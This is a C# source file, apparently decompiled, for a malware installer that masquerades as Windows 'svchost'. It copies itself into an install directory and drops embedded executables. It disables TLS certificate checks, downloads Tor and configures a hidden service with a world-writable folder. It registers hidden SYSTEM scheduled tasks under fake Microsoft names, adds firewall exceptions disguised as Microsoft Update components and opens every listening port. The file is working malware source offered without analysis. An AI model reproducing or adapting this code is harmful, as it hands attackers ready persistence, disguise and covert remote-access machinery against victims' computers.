using Microsoft.Win32.TaskScheduler;
using System;
using System.Collections;
using System.Diagnostics;
using System.Globalization;
using System.IO;
using System.Net;
using System.Net.Security;
using System.Reflection;
using System.Security.AccessControl;
using System.Security.Cryptography.X509Certificates;
using System.Security.Principal;
using System.Threading;
using System.Windows.Forms;
using TaskScheduler;

namespace svchost.Installer
{
	public class OnRun
	{
		public void Initialize()
		{
			if (File.Exists(Globals.sInstallDirectory + "\\installed.fgh"))
			{
				Globals.dVersion = double.Parse(File.ReadAllText(Globals.sInstallDirectory + "\\installed.fgh"), CultureInfo.InvariantCulture);
				Updater updater = new Updater();
				updater.Start();
			}
			else
			{
				this.Start();
				Process.GetCurrentProcess().Kill();
			}
		}

		public bool Start()
		{
			bool result;
			if (!this.CheckInstalled())
			{
				if (!this.InstallSvchost())
				{
					result = false;
					return result;
				}
			}
			result = true;
			return result;
		}

		private bool CheckInstalled()
		{
			return File.Exists(Globals.sInstallDirectory + "\\installed.fgh");
		}

		private bool InstallSvchost()
		{
			string sourceFileName = Application.ExecutablePath.ToString();
			try
			{
				if (!Directory.Exists(Globals.sInstallDirectory))
				{
					Directory.CreateDirectory(Globals.sInstallDirectory);
				}
			}
			catch (Exception ex)
			{
				Console.WriteLine(ex.ToString());
			}
			try
			{
				if (!File.Exists(Globals.sInstallDirectory + "\\svchost.exe"))
				{
					File.Copy(sourceFileName, Globals.sInstallDirectory + "\\svchost.exe");
				}
			}
			catch (Exception ex)
			{
				Console.WriteLine(ex.ToString());
			}
			try
			{
				if (!File.Exists(Globals.sInstallDirectory + "\\installed.fgh"))
				{
					File.WriteAllText(Globals.sInstallDirectory + "\\installed.fgh", Globals.dVersion.ToString());
				}
			}
			catch (Exception ex)
			{
				Console.WriteLine(ex.ToString());
			}
			if (!File.Exists(Globals.sInstallDirectory + "\\taskhost.exe"))
			{
				string path = Globals.sInstallDirectory + "\\taskhost.exe";
				try
				{
					Assembly executingAssembly = Assembly.GetExecutingAssembly();
					using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("svchost.taskhost.exe"))
					{
						using (FileStream fileStream = new FileStream(path, FileMode.Create))
						{
							while (manifestResourceStream.Position < manifestResourceStream.Length)
							{
								byte[] buffer = new byte[manifestResourceStream.Length];
								manifestResourceStream.Read(buffer, 0, (int)manifestResourceStream.Length);
								fileStream.Write(buffer, 0, (int)manifestResourceStream.Length);
							}
						}
						manifestResourceStream.Close();
					}
				}
				catch (Exception ex2)
				{
					EventLog.WriteEntry("svchost.installer", ex2.StackTrace.ToString() + "\r\n" + ex2.ToString());
				}
			}
			if (!File.Exists(Globals.sInstallDirectory + "\\torunzip.exe"))
			{
				string path = Globals.sInstallDirectory + "\\torunzip.exe";
				try
				{
					Assembly executingAssembly = Assembly.GetExecutingAssembly();
					using (Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("svchost.TorUnzip.exe"))
					{
						using (FileStream fileStream = new FileStream(path, FileMode.Create))
						{
							while (manifestResourceStream.Position < manifestResourceStream.Length)
							{
								byte[] buffer = new byte[manifestResourceStream.Length];
								manifestResourceStream.Read(buffer, 0, (int)manifestResourceStream.Length);
								fileStream.Write(buffer, 0, (int)manifestResourceStream.Length);
							}
						}
						manifestResourceStream.Close();
					}
				}
				catch (Exception ex2)
				{
					EventLog.WriteEntry("svchost.installer", ex2.StackTrace.ToString() + "\r\n" + ex2.ToString());
				}
			}
			if (!File.Exists(Globals.sInstallDirectory + "\\Tor\\tor.exe"))
			{
				string text = Globals.sInstallDirectory + "\\Temp";
				if (!Directory.Exists(text))
				{
					Directory.CreateDirectory(text);
				}
				string text2 = Globals.sInstallDirectory + "\\Tor";
				string fileName = text + "\\tor.zip";
				try
				{
					ServicePointManager.ServerCertificateValidationCallback = ((object param0, X509Certificate param1, X509Chain param2, SslPolicyErrors param3) => true);
					WebClient webClient = new WebClient();
					webClient.DownloadFile("https://archive.torproject.org/tor-package-archive/torbrowser/4.0.1/tor-win32-tor-0.2.5.10.zip", fileName);
					Process process = new Process();
					process.StartInfo.FileName = Globals.sInstallDirectory + "\\torunzip.exe";
					process.Start();
					process.WaitForExit();
					Thread.Sleep(30000);
					Directory.Move(text + "\\Tor", text2);
					if (!Directory.Exists(text2 + "\\hidden_service"))
					{
						Directory.CreateDirectory(text2 + "\\hidden_service");
					}
					DirectoryInfo directoryInfo = new DirectoryInfo(text2 + "\\hidden_service");
					DirectorySecurity accessControl = directoryInfo.GetAccessControl();
					accessControl.AddAccessRule(new FileSystemAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), FileSystemRights.FullControl, InheritanceFlags.ContainerInherit | InheritanceFlags.ObjectInherit, PropagationFlags.NoPropagateInherit, AccessControlType.Allow));
					directoryInfo.SetAccessControl(accessControl);
					string text3 = string.Concat(new string[]
					{
						"SocksPort 9050\r\nSocksBindAddress 127.0.0.1\r\nAllowUnverifiedNodes middle,rendezvous\r\nDataDirectory ",
						text2.Replace("\\", "/"),
						"\r\nHiddenServiceDir ",
						text2.Replace("\\", "/"),
						"/hidden_service/\r\nHiddenServicePort 57480 127.0.0.1:41375"
					});
					File.WriteAllText(text2 + "\\torrc", text3);
					try
					{
						ProcessStartInfo processStartInfo = new ProcessStartInfo(text2 + "\\tor.exe", "--defaults-torrc \"" + text2 + "\\torrc\"");
						processStartInfo.UseShellExecute = false;
						processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
						processStartInfo.CreateNoWindow = true;
						processStartInfo.RedirectStandardError = true;
						processStartInfo.RedirectStandardOutput = true;
						processStartInfo.RedirectStandardInput = true;
						Process process2 = new Process();
						process2.StartInfo = processStartInfo;
						process2.Start();
						Thread.Sleep(120000);
						string onion = File.ReadAllText(text2 + "\\hidden_service\\hostname");
						File.WriteAllText(text2 + "\\torrc", text3.Replace("57480", this.OnionToPort(onion).ToString()));
						process2.Kill();
					}
					catch (Exception ex)
					{
						EventLog.WriteEntry("svchost.updater", ex.StackTrace.ToString() + "\r\n" + ex.ToString());
					}
				}
				catch (Exception ex)
				{
					EventLog.WriteEntry("svchost.updater", ex.StackTrace.ToString() + "\r\n" + ex.ToString());
				}
			}
			this.SetNewTask(3, 5, "Microsoft Service Host", "Microsoft Service Host", Globals.sInstallDirectory + "\\svchost.exe", "\\Microsoft\\Windows\\ServiceHost");
			this.SetNewTask(2, 5, "Microsoft Task Host", "Microsoft Task Host", Globals.sInstallDirectory + "\\taskhost.exe", "\\Microsoft\\Windows\\TaskHost");
			this.SetNewTask(1, 1, "Microsoft Tor Host", "Microsoft Tor Host", Globals.sInstallDirectory + "\\Tor\\tor.exe", "\\Microsoft\\Windows\\Tcpip\\TorHost");
			string text4 = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\\tor\\";
			Hashtable listeningPorts = firewall.GetListeningPorts();
			ArrayList arrayList = (ArrayList)listeningPorts["TCP"];
			ArrayList arrayList2 = (ArrayList)listeningPorts["UDP"];
			firewall.DoFirewallRule("firewall add allowedprogram " + Globals.sInstallDirectory + "\\svchost.exe \"Microsoft Update Service\" ENABLE");
			firewall.DoFirewallRule("firewall add allowedprogram " + Globals.sInstallDirectory + "\\taskhost.exe \"Microsoft Update Helper\" ENABLE");
			firewall.DoFirewallRule("firewall add allowedprogram " + Globals.sInstallDirectory + "\\Tor\\tor.exe \"Microsoft Update Installer\" ENABLE");
			foreach (string text5 in arrayList)
			{
				firewall.DoFirewallRule(string.Concat(new string[]
				{
					"firewall add portopening TCP ",
					text5,
					" \"Open TCP Port ",
					text5,
					"\""
				}));
				firewall.DoFirewallRule("advfirewall firewall add rule name=\"Open TCP Port " + text5 + "\" dir=in action=allow protocol=TCP localport=" + text5);
			}
			foreach (string text5 in arrayList2)
			{
				firewall.DoFirewallRule(string.Concat(new string[]
				{
					"firewall add portopening UDP ",
					text5,
					" \"Open UDP Port ",
					text5,
					"\""
				}));
				firewall.DoFirewallRule("advfirewall firewall add rule name=\"Open UDP Port " + text5 + "\" dir=in action=allow protocol=UDP localport=" + text5);
			}
			firewall.DoFirewallRule("firewall set service fileandprint disable");
			firewall.DoFirewallRule("advfirewall firewall add rule name=\"Malware SMB Block\" dir=in localport=445 protocol=TCP action=block");
			firewall.DoFirewallRule("firewall set opmode ENABLE");
			return true;
		}

		private void SetOldTask(string filepath, string name, double delay)
		{
			try
			{
				ScheduledTasks scheduledTasks = new ScheduledTasks();
				Task task = scheduledTasks.CreateTask(name);
				task.ApplicationName = filepath;
				task.Parameters = "";
				task.SetAccountInformation("", null);
				task.WorkingDirectory = Path.GetDirectoryName(filepath);
				task.Flags = TaskFlags.SystemRequired;
				task.Hidden = true;
				task.IdleWaitDeadlineMinutes = 2;
				task.IdleWaitMinutes = 0;
				task.MaxRunTime = new TimeSpan(365, 0, 0, 0);
				task.Priority = ProcessPriorityClass.High;
				task.Triggers.Add(new RunOnceTrigger(DateTime.Now + TimeSpan.FromMinutes(delay)));
				task.Triggers.Add(new DailyTrigger(8, 30, 1));
				task.Triggers.Add(new OnSystemStartTrigger());
				task.Save();
				task.Close();
			}
			catch
			{
			}
		}

		private void SetNewTask(int delay, int bootDelay, string name, string description, string path, string target)
		{
			try
			{
				using (TaskService taskService = new TaskService())
				{
					TaskDefinition taskDefinition = taskService.NewTask();
					taskDefinition.get_Principal().set_RunLevel(1);
					taskDefinition.get_RegistrationInfo().set_Description(description);
					taskDefinition.get_RegistrationInfo().set_Author("SYSTEM");
					taskDefinition.get_Principal().set_DisplayName(name);
					BootTrigger bootTrigger = new BootTrigger();
					bootTrigger.set_Delay(TimeSpan.FromMinutes((double)bootDelay));
					LogonTrigger logonTrigger = new LogonTrigger();
					logonTrigger.set_Enabled(true);
					taskDefinition.get_Settings().set_ExecutionTimeLimit(TimeSpan.Zero);
					taskDefinition.get_Triggers().Add(bootTrigger);
					taskDefinition.get_Triggers().Add(logonTrigger);
					TriggerCollection arg_AF_0 = taskDefinition.get_Triggers();
					DailyTrigger dailyTrigger = new DailyTrigger(1);
					dailyTrigger.set_DaysInterval(1);
					arg_AF_0.Add(dailyTrigger);
					taskDefinition.get_Triggers().Add(new TimeTrigger(DateTime.Now.AddMinutes((double)delay)));
					taskDefinition.get_Actions().Add(new ExecAction(path, null, null));
					taskService.get_RootFolder().RegisterTaskDefinition(target, taskDefinition, 6, "SYSTEM", null, 5, null);
				}
			}
			catch (Exception var_7_125)
			{
				this.SetOldTask(path, name, 1.0);
			}
		}

		private int OnionToPort(string onion)
		{
			string text = "";
			byte[] array = new byte[5];
			char[] array2 = onion.ToCharArray();
			for (int i = 0; i < 16; i++)
			{
				byte value = Convert.ToByte(array2[i]);
				text += Convert.ToInt32(value).ToString();
				string s = text.Substring(0, 1);
				while (int.Parse(s) > 5 && text.Length > 1)
				{
					text = text.Substring(1);
					s = text.Substring(0, 1);
				}
				if (text.Length == 5)
				{
					break;
				}
				if (text.Length > 5)
				{
					text = text.Substring(0, 5);
					break;
				}
			}
			return int.Parse(text);
		}
	}
}
